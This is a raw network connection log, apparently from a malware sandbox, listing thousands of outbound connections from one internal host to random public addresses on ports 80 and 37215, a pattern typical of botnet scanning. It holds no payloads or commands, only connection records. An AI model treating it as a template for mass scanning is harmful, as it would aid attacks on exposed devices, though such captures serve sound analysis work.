Dec 3, 2024 22:11:50.985124111 CET	6883	80	192.168.2.23	150.171.85.4
Dec 3, 2024 22:11:50.985125065 CET	6883	80	192.168.2.23	164.10.217.249
Dec 3, 2024 22:11:50.985126019 CET	6883	80	192.168.2.23	83.167.173.203
Dec 3, 2024 22:11:50.985129118 CET	6883	80	192.168.2.23	156.81.150.8
Dec 3, 2024 22:11:50.985132933 CET	6883	80	192.168.2.23	72.137.138.69
Dec 3, 2024 22:11:50.985146999 CET	6883	80	192.168.2.23	205.43.6.101
Dec 3, 2024 22:11:50.985150099 CET	6883	80	192.168.2.23	178.91.85.81
Dec 3, 2024 22:11:50.985160112 CET	6883	80	192.168.2.23	152.167.199.102
Dec 3, 2024 22:11:50.985162973 CET	6883	80	192.168.2.23	71.39.171.7
Dec 3, 2024 22:11:50.985162973 CET	6883	80	192.168.2.23	218.218.86.248
Dec 3, 2024 22:11:50.985174894 CET	6883	80	192.168.2.23	128.209.218.201
Dec 3, 2024 22:11:50.985186100 CET	6883	80	192.168.2.23	87.5.227.235
Dec 3, 2024 22:11:50.985191107 CET	6883	80	192.168.2.23	213.191.84.125
Dec 3, 2024 22:11:50.985192060 CET	6883	80	192.168.2.23	175.51.229.221
Dec 3, 2024 22:11:50.985199928 CET	6883	80	192.168.2.23	154.179.37.253
Dec 3, 2024 22:11:50.985245943 CET	6883	80	192.168.2.23	88.50.200.174
Dec 3, 2024 22:11:50.985245943 CET	6883	80	192.168.2.23	187.140.253.35
Dec 3, 2024 22:11:50.985246897 CET	6883	80	192.168.2.23	175.128.255.65
Dec 3, 2024 22:11:50.985248089 CET	6883	80	192.168.2.23	141.211.69.223
Dec 3, 2024 22:11:50.985246897 CET	6883	80	192.168.2.23	78.194.156.225
Dec 3, 2024 22:11:50.985248089 CET	6883	80	192.168.2.23	167.15.96.225
Dec 3, 2024 22:11:50.985249043 CET	6883	80	192.168.2.23	190.101.20.74
Dec 3, 2024 22:11:50.985249043 CET	6883	80	192.168.2.23	143.250.160.107
Dec 3, 2024 22:11:50.985249043 CET	6883	80	192.168.2.23	37.58.39.127
Dec 3, 2024 22:11:50.985249043 CET	6883	80	192.168.2.23	136.65.2.136
Dec 3, 2024 22:11:50.985249043 CET	6883	80	192.168.2.23	198.49.167.132
Dec 3, 2024 22:11:50.985260963 CET	6883	80	192.168.2.23	203.115.37.127
Dec 3, 2024 22:11:50.985264063 CET	6883	80	192.168.2.23	5.82.163.88
Dec 3, 2024 22:11:50.985264063 CET	6883	80	192.168.2.23	106.123.183.190
Dec 3, 2024 22:11:50.985265017 CET	6883	80	192.168.2.23	194.236.200.255
Dec 3, 2024 22:11:50.985269070 CET	6883	80	192.168.2.23	4.143.137.228
Dec 3, 2024 22:11:50.985279083 CET	6883	80	192.168.2.23	88.72.54.204
Dec 3, 2024 22:11:50.985280037 CET	6883	80	192.168.2.23	46.200.217.137
Dec 3, 2024 22:11:50.985280037 CET	6883	80	192.168.2.23	138.43.227.85
Dec 3, 2024 22:11:50.985284090 CET	6883	80	192.168.2.23	170.122.226.30
Dec 3, 2024 22:11:50.985286951 CET	6883	80	192.168.2.23	97.130.247.160
Dec 3, 2024 22:11:50.985291004 CET	6883	80	192.168.2.23	105.73.163.114
Dec 3, 2024 22:11:50.985291958 CET	6883	80	192.168.2.23	53.32.12.55
Dec 3, 2024 22:11:50.985306025 CET	6883	80	192.168.2.23	4.0.169.248
Dec 3, 2024 22:11:50.985308886 CET	6883	80	192.168.2.23	67.53.221.37
Dec 3, 2024 22:11:50.985318899 CET	6883	80	192.168.2.23	173.41.105.250
Dec 3, 2024 22:11:50.985322952 CET	6883	80	192.168.2.23	205.168.193.255
Dec 3, 2024 22:11:50.985331059 CET	6883	80	192.168.2.23	184.144.230.233
Dec 3, 2024 22:11:50.985332966 CET	6883	80	192.168.2.23	187.46.43.247
Dec 3, 2024 22:11:50.985340118 CET	6883	80	192.168.2.23	170.231.158.85
Dec 3, 2024 22:11:50.985344887 CET	6883	80	192.168.2.23	120.169.127.33
Dec 3, 2024 22:11:50.985346079 CET	6883	80	192.168.2.23	126.84.88.13
Dec 3, 2024 22:11:50.985349894 CET	6883	80	192.168.2.23	102.172.179.224
Dec 3, 2024 22:11:50.985366106 CET	6883	80	192.168.2.23	52.34.143.18
Dec 3, 2024 22:11:50.985371113 CET	6883	80	192.168.2.23	111.150.164.126
Dec 3, 2024 22:11:50.985371113 CET	6883	80	192.168.2.23	159.101.236.39
Dec 3, 2024 22:11:50.985373020 CET	6883	80	192.168.2.23	108.216.165.141
Dec 3, 2024 22:11:50.985373974 CET	6883	80	192.168.2.23	51.209.7.136
Dec 3, 2024 22:11:50.985374928 CET	6883	80	192.168.2.23	49.111.8.5
Dec 3, 2024 22:11:50.985399961 CET	6883	80	192.168.2.23	194.53.76.238
Dec 3, 2024 22:11:50.985399961 CET	6883	80	192.168.2.23	86.201.181.110
Dec 3, 2024 22:11:50.985399961 CET	6883	80	192.168.2.23	49.40.194.88
Dec 3, 2024 22:11:50.985399961 CET	6883	80	192.168.2.23	194.24.141.238
Dec 3, 2024 22:11:50.985424042 CET	6883	80	192.168.2.23	179.150.147.134
Dec 3, 2024 22:11:50.985424042 CET	6883	80	192.168.2.23	39.38.178.184
Dec 3, 2024 22:11:50.985425949 CET	6883	80	192.168.2.23	211.64.66.0
Dec 3, 2024 22:11:50.985429049 CET	6883	80	192.168.2.23	213.114.3.103
Dec 3, 2024 22:11:50.985440969 CET	6883	80	192.168.2.23	82.54.181.218
Dec 3, 2024 22:11:50.985467911 CET	6883	80	192.168.2.23	143.81.44.126
Dec 3, 2024 22:11:50.985471964 CET	6883	80	192.168.2.23	143.119.184.168
Dec 3, 2024 22:11:50.985475063 CET	6883	80	192.168.2.23	121.207.197.167
Dec 3, 2024 22:11:50.985476017 CET	6883	80	192.168.2.23	91.114.16.124
Dec 3, 2024 22:11:50.985476017 CET	6883	80	192.168.2.23	74.54.17.74
Dec 3, 2024 22:11:50.985476017 CET	6883	80	192.168.2.23	147.99.157.16
Dec 3, 2024 22:11:50.985490084 CET	6883	80	192.168.2.23	99.140.105.144
Dec 3, 2024 22:11:50.985492945 CET	6883	80	192.168.2.23	71.213.211.232
Dec 3, 2024 22:11:50.985495090 CET	6883	80	192.168.2.23	221.31.28.86
Dec 3, 2024 22:11:50.985496044 CET	6883	80	192.168.2.23	123.156.53.196
Dec 3, 2024 22:11:50.985496998 CET	6883	80	192.168.2.23	14.33.89.131
Dec 3, 2024 22:11:50.985496998 CET	6883	80	192.168.2.23	94.166.90.206
Dec 3, 2024 22:11:50.985511065 CET	6883	80	192.168.2.23	5.66.102.170
Dec 3, 2024 22:11:50.985518932 CET	6883	80	192.168.2.23	168.5.102.171
Dec 3, 2024 22:11:50.985518932 CET	6883	80	192.168.2.23	175.181.55.54
Dec 3, 2024 22:11:50.985526085 CET	6883	80	192.168.2.23	217.112.111.22
Dec 3, 2024 22:11:50.985544920 CET	6883	80	192.168.2.23	32.144.254.222
Dec 3, 2024 22:11:50.985544920 CET	6883	80	192.168.2.23	95.53.138.23
Dec 3, 2024 22:11:50.985544920 CET	6883	80	192.168.2.23	58.108.27.146
Dec 3, 2024 22:11:50.985548019 CET	6883	80	192.168.2.23	188.224.55.70
Dec 3, 2024 22:11:50.985557079 CET	6883	80	192.168.2.23	25.218.56.129
Dec 3, 2024 22:11:50.985572100 CET	6883	80	192.168.2.23	172.201.213.224
Dec 3, 2024 22:11:50.985579014 CET	6883	80	192.168.2.23	13.36.233.144
Dec 3, 2024 22:11:50.985579014 CET	6883	80	192.168.2.23	182.5.204.232
Dec 3, 2024 22:11:50.985579014 CET	6883	80	192.168.2.23	35.247.202.65
Dec 3, 2024 22:11:50.985595942 CET	6883	80	192.168.2.23	192.116.10.42
Dec 3, 2024 22:11:50.985595942 CET	6883	80	192.168.2.23	193.209.169.90
Dec 3, 2024 22:11:50.985595942 CET	6883	80	192.168.2.23	179.16.102.157
Dec 3, 2024 22:11:50.985615015 CET	6883	80	192.168.2.23	217.128.16.141
Dec 3, 2024 22:11:50.985615015 CET	6883	80	192.168.2.23	18.52.46.83
Dec 3, 2024 22:11:50.985621929 CET	6883	80	192.168.2.23	123.117.81.196
Dec 3, 2024 22:11:50.985622883 CET	6883	80	192.168.2.23	169.124.139.188
Dec 3, 2024 22:11:50.985622883 CET	6883	80	192.168.2.23	154.202.94.79
Dec 3, 2024 22:11:50.985639095 CET	6883	80	192.168.2.23	168.169.65.26
Dec 3, 2024 22:11:50.985641956 CET	6883	80	192.168.2.23	138.144.92.255
Dec 3, 2024 22:11:50.985641956 CET	6883	80	192.168.2.23	87.47.17.59
Dec 3, 2024 22:11:50.985647917 CET	6883	80	192.168.2.23	84.253.28.150
Dec 3, 2024 22:11:50.985655069 CET	6883	80	192.168.2.23	167.86.62.149
Dec 3, 2024 22:11:50.985671997 CET	6883	80	192.168.2.23	4.12.70.93
Dec 3, 2024 22:11:50.985680103 CET	6883	80	192.168.2.23	192.228.121.84
Dec 3, 2024 22:11:50.985688925 CET	6883	80	192.168.2.23	113.15.35.32
Dec 3, 2024 22:11:50.985690117 CET	6883	80	192.168.2.23	84.200.214.211
Dec 3, 2024 22:11:50.985693932 CET	6883	80	192.168.2.23	121.124.222.230
Dec 3, 2024 22:11:50.985699892 CET	6883	80	192.168.2.23	202.23.243.194
Dec 3, 2024 22:11:50.985721111 CET	6883	80	192.168.2.23	168.64.124.67
Dec 3, 2024 22:11:50.985723972 CET	6883	80	192.168.2.23	160.107.105.200
Dec 3, 2024 22:11:50.986206055 CET	34368	80	192.168.2.23	123.63.252.212
Dec 3, 2024 22:11:50.986849070 CET	33462	80	192.168.2.23	151.235.178.124
Dec 3, 2024 22:11:50.987425089 CET	37986	80	192.168.2.23	133.83.247.90
Dec 3, 2024 22:11:50.987994909 CET	38726	80	192.168.2.23	175.229.50.139
Dec 3, 2024 22:11:50.988594055 CET	60986	80	192.168.2.23	97.146.133.90
Dec 3, 2024 22:11:50.989200115 CET	45088	80	192.168.2.23	89.77.49.90
Dec 3, 2024 22:11:50.989773035 CET	37528	80	192.168.2.23	155.120.96.18
Dec 3, 2024 22:11:50.990348101 CET	58750	80	192.168.2.23	203.199.224.170
Dec 3, 2024 22:11:50.990902901 CET	34314	37215	192.168.2.23	197.194.225.14
Dec 3, 2024 22:11:50.990910053 CET	41286	37215	192.168.2.23	197.138.48.81
Dec 3, 2024 22:11:50.990916967 CET	59654	37215	192.168.2.23	156.214.207.66
Dec 3, 2024 22:11:50.990940094 CET	49640	37215	192.168.2.23	41.152.245.211
Dec 3, 2024 22:11:50.990940094 CET	36106	37215	192.168.2.23	156.86.224.106
Dec 3, 2024 22:11:50.990940094 CET	40116	37215	192.168.2.23	156.124.60.241
Dec 3, 2024 22:11:50.990945101 CET	39918	37215	192.168.2.23	156.37.11.97
Dec 3, 2024 22:11:50.990945101 CET	46048	80	192.168.2.23	13.240.147.70
Dec 3, 2024 22:11:50.990947962 CET	40850	80	192.168.2.23	85.2.63.96
Dec 3, 2024 22:11:50.990959883 CET	57150	37215	192.168.2.23	197.115.231.209
Dec 3, 2024 22:11:50.990959883 CET	55898	37215	192.168.2.23	197.102.76.136
Dec 3, 2024 22:11:50.990961075 CET	59548	37215	192.168.2.23	197.120.15.57
Dec 3, 2024 22:11:50.990961075 CET	46934	80	192.168.2.23	170.246.55.23
Dec 3, 2024 22:11:50.990972996 CET	53024	80	192.168.2.23	60.40.205.215
Dec 3, 2024 22:11:50.990973949 CET	33354	80	192.168.2.23	208.25.237.68
Dec 3, 2024 22:11:50.990976095 CET	53660	80	192.168.2.23	2.226.226.122
Dec 3, 2024 22:11:50.990978003 CET	32778	80	192.168.2.23	72.255.255.255
Dec 3, 2024 22:11:50.990978956 CET	33948	80	192.168.2.23	143.54.16.200
Dec 3, 2024 22:11:50.990982056 CET	58562	80	192.168.2.23	120.140.146.49
Dec 3, 2024 22:11:50.990982056 CET	49704	80	192.168.2.23	103.232.61.157
Dec 3, 2024 22:11:50.990982056 CET	33614	80	192.168.2.23	49.173.189.48
Dec 3, 2024 22:11:50.990986109 CET	54094	80	192.168.2.23	132.124.5.253
Dec 3, 2024 22:11:50.990986109 CET	57464	80	192.168.2.23	194.143.97.226
Dec 3, 2024 22:11:50.990995884 CET	50532	80	192.168.2.23	34.251.48.225
Dec 3, 2024 22:11:50.990999937 CET	45816	80	192.168.2.23	183.87.43.199
Dec 3, 2024 22:11:50.991000891 CET	38404	80	192.168.2.23	57.107.165.134
Dec 3, 2024 22:11:50.991003036 CET	34282	80	192.168.2.23	204.38.114.132
Dec 3, 2024 22:11:50.991015911 CET	43614	80	192.168.2.23	190.227.24.252
Dec 3, 2024 22:11:50.991015911 CET	36366	80	192.168.2.23	106.54.60.250
Dec 3, 2024 22:11:50.991019011 CET	41184	80	192.168.2.23	23.234.220.140
Dec 3, 2024 22:11:50.991023064 CET	54640	80	192.168.2.23	209.178.23.34
Dec 3, 2024 22:11:50.991029978 CET	53736	80	192.168.2.23	73.20.144.23
Dec 3, 2024 22:11:50.991031885 CET	57740	80	192.168.2.23	83.6.82.189
Dec 3, 2024 22:11:50.991044998 CET	47592	80	192.168.2.23	31.70.185.152
Dec 3, 2024 22:11:50.991050005 CET	35132	80	192.168.2.23	189.220.255.17
Dec 3, 2024 22:11:50.991051912 CET	40576	80	192.168.2.23	5.195.112.164
Dec 3, 2024 22:11:50.991061926 CET	54714	80	192.168.2.23	32.151.48.79
Dec 3, 2024 22:11:50.991067886 CET	54664	80	192.168.2.23	129.36.36.24
Dec 3, 2024 22:11:50.991076946 CET	38094	80	192.168.2.23	77.145.142.253
Dec 3, 2024 22:11:50.991720915 CET	42260	80	192.168.2.23	156.240.241.216
Dec 3, 2024 22:11:50.992279053 CET	45776	80	192.168.2.23	201.42.80.185
Dec 3, 2024 22:11:50.992929935 CET	39860	80	192.168.2.23	179.41.60.148
Dec 3, 2024 22:11:50.993510008 CET	58042	80	192.168.2.23	220.107.18.26
Dec 3, 2024 22:11:50.994107008 CET	42658	80	192.168.2.23	72.98.186.118
Dec 3, 2024 22:11:50.994690895 CET	36618	80	192.168.2.23	159.47.73.163
Dec 3, 2024 22:11:50.995275021 CET	39504	80	192.168.2.23	35.37.81.75
Dec 3, 2024 22:11:50.995871067 CET	60942	80	192.168.2.23	132.243.143.161
Dec 3, 2024 22:11:50.996485949 CET	57902	80	192.168.2.23	190.176.20.128
Dec 3, 2024 22:11:50.997044086 CET	40004	80	192.168.2.23	98.103.8.79
Dec 3, 2024 22:11:50.997654915 CET	45656	80	192.168.2.23	140.76.241.6
Dec 3, 2024 22:11:50.998212099 CET	38518	80	192.168.2.23	205.91.17.173
Dec 3, 2024 22:11:50.998821974 CET	45478	80	192.168.2.23	112.94.207.133
Dec 3, 2024 22:11:50.999388933 CET	45902	80	192.168.2.23	84.71.252.104
Dec 3, 2024 22:11:50.999994040 CET	40970	80	192.168.2.23	134.42.74.112
Dec 3, 2024 22:11:51.000461102 CET	33760	80	192.168.2.23	89.237.234.81
Dec 3, 2024 22:11:51.000483990 CET	33760	80	192.168.2.23	89.237.234.81
Dec 3, 2024 22:11:51.000741959 CET	34300	80	192.168.2.23	89.237.234.81
Dec 3, 2024 22:11:51.001070023 CET	58830	80	192.168.2.23	133.23.65.66
Dec 3, 2024 22:11:51.001070023 CET	58830	80	192.168.2.23	133.23.65.66
Dec 3, 2024 22:11:51.001343966 CET	59370	80	192.168.2.23	133.23.65.66
Dec 3, 2024 22:11:51.001657009 CET	34300	80	192.168.2.23	67.109.205.61
Dec 3, 2024 22:11:51.001657009 CET	34300	80	192.168.2.23	67.109.205.61
Dec 3, 2024 22:11:51.001909971 CET	34830	80	192.168.2.23	67.109.205.61
Dec 3, 2024 22:11:51.002230883 CET	34016	80	192.168.2.23	121.127.51.127
Dec 3, 2024 22:11:51.002230883 CET	34016	80	192.168.2.23	121.127.51.127
Dec 3, 2024 22:11:51.002511024 CET	34546	80	192.168.2.23	121.127.51.127
Dec 3, 2024 22:11:51.002815008 CET	55548	80	192.168.2.23	51.132.116.166
Dec 3, 2024 22:11:51.002815008 CET	55548	80	192.168.2.23	51.132.116.166
Dec 3, 2024 22:11:51.003094912 CET	56078	80	192.168.2.23	51.132.116.166
Dec 3, 2024 22:11:51.003402948 CET	33988	80	192.168.2.23	121.123.242.60
Dec 3, 2024 22:11:51.003436089 CET	33988	80	192.168.2.23	121.123.242.60
Dec 3, 2024 22:11:51.003671885 CET	34518	80	192.168.2.23	121.123.242.60
Dec 3, 2024 22:11:51.004017115 CET	38692	80	192.168.2.23	90.128.45.194
Dec 3, 2024 22:11:51.004017115 CET	38692	80	192.168.2.23	90.128.45.194
Dec 3, 2024 22:11:51.004265070 CET	39220	80	192.168.2.23	90.128.45.194
Dec 3, 2024 22:11:51.004605055 CET	43764	80	192.168.2.23	185.248.148.162
Dec 3, 2024 22:11:51.004605055 CET	43764	80	192.168.2.23	185.248.148.162
Dec 3, 2024 22:11:51.004875898 CET	44292	80	192.168.2.23	185.248.148.162
Dec 3, 2024 22:11:51.005171061 CET	45662	80	192.168.2.23	175.207.62.8
Dec 3, 2024 22:11:51.005171061 CET	45662	80	192.168.2.23	175.207.62.8
Dec 3, 2024 22:11:51.005445957 CET	46190	80	192.168.2.23	175.207.62.8
Dec 3, 2024 22:11:51.005753994 CET	60458	80	192.168.2.23	177.109.45.183
Dec 3, 2024 22:11:51.005753994 CET	60458	80	192.168.2.23	177.109.45.183
Dec 3, 2024 22:11:51.006007910 CET	60982	80	192.168.2.23	177.109.45.183
Dec 3, 2024 22:11:51.006324053 CET	56182	80	192.168.2.23	114.255.133.213
Dec 3, 2024 22:11:51.006324053 CET	56182	80	192.168.2.23	114.255.133.213
Dec 3, 2024 22:11:51.006577969 CET	56704	80	192.168.2.23	114.255.133.213
Dec 3, 2024 22:11:51.006920099 CET	38806	80	192.168.2.23	52.200.155.160
Dec 3, 2024 22:11:51.006920099 CET	38806	80	192.168.2.23	52.200.155.160
Dec 3, 2024 22:11:51.007226944 CET	39326	80	192.168.2.23	52.200.155.160
Dec 3, 2024 22:11:51.007508993 CET	49912	80	192.168.2.23	178.168.125.118
Dec 3, 2024 22:11:51.007508993 CET	49912	80	192.168.2.23	178.168.125.118
Dec 3, 2024 22:11:51.007752895 CET	50420	80	192.168.2.23	178.168.125.118
Dec 3, 2024 22:11:51.008156061 CET	43310	80	192.168.2.23	168.141.43.142
Dec 3, 2024 22:11:51.008156061 CET	43310	80	192.168.2.23	168.141.43.142
Dec 3, 2024 22:11:51.008426905 CET	43872	80	192.168.2.23	168.141.43.142
Dec 3, 2024 22:11:51.008734941 CET	47182	80	192.168.2.23	165.71.235.9
Dec 3, 2024 22:11:51.008734941 CET	47182	80	192.168.2.23	165.71.235.9
Dec 3, 2024 22:11:51.009005070 CET	47744	80	192.168.2.23	165.71.235.9
Dec 3, 2024 22:11:51.009330034 CET	34302	80	192.168.2.23	204.35.166.113
Dec 3, 2024 22:11:51.009330034 CET	34302	80	192.168.2.23	204.35.166.113
Dec 3, 2024 22:11:51.009618998 CET	34864	80	192.168.2.23	204.35.166.113
Dec 3, 2024 22:11:51.009895086 CET	39260	80	192.168.2.23	222.183.121.253
Dec 3, 2024 22:11:51.009895086 CET	39260	80	192.168.2.23	222.183.121.253
Dec 3, 2024 22:11:51.010186911 CET	39822	80	192.168.2.23	222.183.121.253
Dec 3, 2024 22:11:51.010492086 CET	50038	80	192.168.2.23	189.113.25.114
Dec 3, 2024 22:11:51.010492086 CET	50038	80	192.168.2.23	189.113.25.114
Dec 3, 2024 22:11:51.010740042 CET	50590	80	192.168.2.23	189.113.25.114
Dec 3, 2024 22:11:51.011048079 CET	51100	80	192.168.2.23	157.10.232.130
Dec 3, 2024 22:11:51.011065960 CET	51100	80	192.168.2.23	157.10.232.130
Dec 3, 2024 22:11:51.011305094 CET	51646	80	192.168.2.23	157.10.232.130
Dec 3, 2024 22:11:51.011662960 CET	41848	80	192.168.2.23	91.168.168.177
Dec 3, 2024 22:11:51.011662960 CET	41848	80	192.168.2.23	91.168.168.177
Dec 3, 2024 22:11:51.011915922 CET	42394	80	192.168.2.23	91.168.168.177
Dec 3, 2024 22:11:51.012257099 CET	37886	80	192.168.2.23	42.54.179.203
Dec 3, 2024 22:11:51.012257099 CET	37886	80	192.168.2.23	42.54.179.203
Dec 3, 2024 22:11:51.012526989 CET	38430	80	192.168.2.23	42.54.179.203
Dec 3, 2024 22:11:51.012846947 CET	51360	80	192.168.2.23	25.56.170.39
Dec 3, 2024 22:11:51.012846947 CET	51360	80	192.168.2.23	25.56.170.39
Dec 3, 2024 22:11:51.013114929 CET	51898	80	192.168.2.23	25.56.170.39
Dec 3, 2024 22:11:51.013408899 CET	35800	80	192.168.2.23	100.44.128.127
Dec 3, 2024 22:11:51.013408899 CET	35800	80	192.168.2.23	100.44.128.127
Dec 3, 2024 22:11:51.013669968 CET	36338	80	192.168.2.23	100.44.128.127
Dec 3, 2024 22:11:51.013993979 CET	39936	80	192.168.2.23	220.40.166.42
Dec 3, 2024 22:11:51.013993979 CET	39936	80	192.168.2.23	220.40.166.42
Dec 3, 2024 22:11:51.014261007 CET	40474	80	192.168.2.23	220.40.166.42
Dec 3, 2024 22:11:51.014594078 CET	43952	80	192.168.2.23	120.47.138.87
Dec 3, 2024 22:11:51.014595032 CET	43952	80	192.168.2.23	120.47.138.87
Dec 3, 2024 22:11:51.014861107 CET	44490	80	192.168.2.23	120.47.138.87
Dec 3, 2024 22:11:51.015188932 CET	46792	80	192.168.2.23	39.26.141.128
Dec 3, 2024 22:11:51.015188932 CET	46792	80	192.168.2.23	39.26.141.128
Dec 3, 2024 22:11:51.015446901 CET	47330	80	192.168.2.23	39.26.141.128
Dec 3, 2024 22:11:51.015564919 CET	80	41454	13.227.133.150	192.168.2.23
Dec 3, 2024 22:11:51.015615940 CET	41454	80	192.168.2.23	13.227.133.150
Dec 3, 2024 22:11:51.015636921 CET	80	32856	9.180.125.203	192.168.2.23
Dec 3, 2024 22:11:51.015640020 CET	80	45352	151.117.200.130	192.168.2.23
Dec 3, 2024 22:11:51.015642881 CET	80	47096	2.111.72.125	192.168.2.23
Dec 3, 2024 22:11:51.015675068 CET	47096	80	192.168.2.23	2.111.72.125
Dec 3, 2024 22:11:51.015692949 CET	32856	80	192.168.2.23	9.180.125.203
Dec 3, 2024 22:11:51.015712023 CET	80	50796	69.224.65.58	192.168.2.23
Dec 3, 2024 22:11:51.015714884 CET	45352	80	192.168.2.23	151.117.200.130
Dec 3, 2024 22:11:51.015723944 CET	37215	42012	156.239.228.206	192.168.2.23
Dec 3, 2024 22:11:51.015737057 CET	80	44620	216.84.178.95	192.168.2.23
Dec 3, 2024 22:11:51.015758991 CET	80	58150	69.165.68.106	192.168.2.23
Dec 3, 2024 22:11:51.015769005 CET	80	57734	87.124.13.206	192.168.2.23
Dec 3, 2024 22:11:51.015770912 CET	50796	80	192.168.2.23	69.224.65.58
Dec 3, 2024 22:11:51.015774965 CET	34322	80	192.168.2.23	192.122.106.149
Dec 3, 2024 22:11:51.015779972 CET	80	50506	195.46.36.83	192.168.2.23
Dec 3, 2024 22:11:51.015789032 CET	34322	80	192.168.2.23	192.122.106.149
Dec 3, 2024 22:11:51.015790939 CET	80	36480	59.234.43.201	192.168.2.23
Dec 3, 2024 22:11:51.015800953 CET	80	36822	151.234.254.75	192.168.2.23
Dec 3, 2024 22:11:51.015804052 CET	57734	80	192.168.2.23	87.124.13.206
Dec 3, 2024 22:11:51.015821934 CET	36480	80	192.168.2.23	59.234.43.201
Dec 3, 2024 22:11:51.015827894 CET	42012	37215	192.168.2.23	156.239.228.206
Dec 3, 2024 22:11:51.015835047 CET	44620	80	192.168.2.23	216.84.178.95
Dec 3, 2024 22:11:51.015851021 CET	58150	80	192.168.2.23	69.165.68.106
Dec 3, 2024 22:11:51.015872955 CET	50506	80	192.168.2.23	195.46.36.83
Dec 3, 2024 22:11:51.015882969 CET	36822	80	192.168.2.23	151.234.254.75
Dec 3, 2024 22:11:51.015897036 CET	80	56952	44.96.228.159	192.168.2.23
Dec 3, 2024 22:11:51.015909910 CET	80	57556	172.13.154.229	192.168.2.23
Dec 3, 2024 22:11:51.015919924 CET	80	33174	46.218.150.180	192.168.2.23
Dec 3, 2024 22:11:51.015930891 CET	80	48936	52.233.176.82	192.168.2.23
Dec 3, 2024 22:11:51.015940905 CET	80	48390	152.61.133.39	192.168.2.23
Dec 3, 2024 22:11:51.015949011 CET	57556	80	192.168.2.23	172.13.154.229
Dec 3, 2024 22:11:51.015950918 CET	80	41228	13.209.9.211	192.168.2.23
Dec 3, 2024 22:11:51.015952110 CET	56952	80	192.168.2.23	44.96.228.159
Dec 3, 2024 22:11:51.015955925 CET	33174	80	192.168.2.23	46.218.150.180
Dec 3, 2024 22:11:51.015963078 CET	80	57494	68.131.78.173	192.168.2.23
Dec 3, 2024 22:11:51.015971899 CET	80	51264	57.234.210.229	192.168.2.23
Dec 3, 2024 22:11:51.015983105 CET	80	55588	182.114.118.150	192.168.2.23
Dec 3, 2024 22:11:51.015986919 CET	48936	80	192.168.2.23	52.233.176.82
Dec 3, 2024 22:11:51.015986919 CET	41228	80	192.168.2.23	13.209.9.211
Dec 3, 2024 22:11:51.015988111 CET	57494	80	192.168.2.23	68.131.78.173
Dec 3, 2024 22:11:51.015993118 CET	80	47846	113.202.243.27	192.168.2.23
Dec 3, 2024 22:11:51.015995026 CET	5603	37215	192.168.2.23	41.121.122.44
Dec 3, 2024 22:11:51.016002893 CET	80	56064	91.179.4.197	192.168.2.23
Dec 3, 2024 22:11:51.016005993 CET	48390	80	192.168.2.23	152.61.133.39
Dec 3, 2024 22:11:51.016012907 CET	80	55360	101.242.71.7	192.168.2.23
Dec 3, 2024 22:11:51.016016006 CET	5603	37215	192.168.2.23	156.200.28.49
Dec 3, 2024 22:11:51.016025066 CET	55588	80	192.168.2.23	182.114.118.150
Dec 3, 2024 22:11:51.016031981 CET	47846	80	192.168.2.23	113.202.243.27
Dec 3, 2024 22:11:51.016041994 CET	5603	37215	192.168.2.23	41.126.156.124
Dec 3, 2024 22:11:51.016042948 CET	51264	80	192.168.2.23	57.234.210.229
Dec 3, 2024 22:11:51.016058922 CET	56064	80	192.168.2.23	91.179.4.197
Dec 3, 2024 22:11:51.016062975 CET	5603	37215	192.168.2.23	41.135.188.144
Dec 3, 2024 22:11:51.016067982 CET	5603	37215	192.168.2.23	156.205.184.28
Dec 3, 2024 22:11:51.016081095 CET	55360	80	192.168.2.23	101.242.71.7
Dec 3, 2024 22:11:51.016086102 CET	5603	37215	192.168.2.23	197.190.17.51
Dec 3, 2024 22:11:51.016092062 CET	5603	37215	192.168.2.23	41.102.57.38
Dec 3, 2024 22:11:51.016105890 CET	5603	37215	192.168.2.23	41.163.82.175
Dec 3, 2024 22:11:51.016105890 CET	5603	37215	192.168.2.23	197.193.232.57
Dec 3, 2024 22:11:51.016109943 CET	5603	37215	192.168.2.23	156.164.133.70
Dec 3, 2024 22:11:51.016115904 CET	5603	37215	192.168.2.23	156.107.106.178
Dec 3, 2024 22:11:51.016115904 CET	5603	37215	192.168.2.23	156.46.169.5
Dec 3, 2024 22:11:51.016129017 CET	5603	37215	192.168.2.23	156.168.232.7
Dec 3, 2024 22:11:51.016132116 CET	5603	37215	192.168.2.23	156.191.64.213
Dec 3, 2024 22:11:51.016134977 CET	5603	37215	192.168.2.23	156.84.5.153
Dec 3, 2024 22:11:51.016138077 CET	5603	37215	192.168.2.23	41.82.26.37
Dec 3, 2024 22:11:51.016155005 CET	5603	37215	192.168.2.23	156.198.176.57
Dec 3, 2024 22:11:51.016155958 CET	5603	37215	192.168.2.23	41.53.210.130
Dec 3, 2024 22:11:51.016175985 CET	5603	37215	192.168.2.23	156.195.59.150
Dec 3, 2024 22:11:51.016175985 CET	5603	37215	192.168.2.23	197.18.204.160
Dec 3, 2024 22:11:51.016180038 CET	5603	37215	192.168.2.23	156.110.138.217
Dec 3, 2024 22:11:51.016186953 CET	5603	37215	192.168.2.23	197.26.29.226
Dec 3, 2024 22:11:51.016186953 CET	5603	37215	192.168.2.23	197.195.143.246
Dec 3, 2024 22:11:51.016196012 CET	5603	37215	192.168.2.23	156.156.190.56
Dec 3, 2024 22:11:51.016200066 CET	5603	37215	192.168.2.23	197.135.124.221
Dec 3, 2024 22:11:51.016200066 CET	5603	37215	192.168.2.23	197.19.178.137
Dec 3, 2024 22:11:51.016215086 CET	5603	37215	192.168.2.23	156.20.25.216
Dec 3, 2024 22:11:51.016217947 CET	5603	37215	192.168.2.23	41.244.195.78
Dec 3, 2024 22:11:51.016225100 CET	5603	37215	192.168.2.23	156.101.33.153
Dec 3, 2024 22:11:51.016236067 CET	5603	37215	192.168.2.23	156.25.74.92
Dec 3, 2024 22:11:51.016239882 CET	5603	37215	192.168.2.23	41.114.192.205
Dec 3, 2024 22:11:51.016239882 CET	5603	37215	192.168.2.23	41.13.93.235
Dec 3, 2024 22:11:51.016244888 CET	5603	37215	192.168.2.23	197.25.200.255
Dec 3, 2024 22:11:51.016252041 CET	5603	37215	192.168.2.23	41.187.78.186
Dec 3, 2024 22:11:51.016258955 CET	5603	37215	192.168.2.23	197.121.153.158
Dec 3, 2024 22:11:51.016263962 CET	5603	37215	192.168.2.23	197.38.129.202
Dec 3, 2024 22:11:51.016269922 CET	5603	37215	192.168.2.23	197.165.24.103
Dec 3, 2024 22:11:51.016271114 CET	5603	37215	192.168.2.23	197.49.174.20
Dec 3, 2024 22:11:51.016283989 CET	5603	37215	192.168.2.23	197.250.154.80
Dec 3, 2024 22:11:51.016288996 CET	5603	37215	192.168.2.23	197.217.165.85
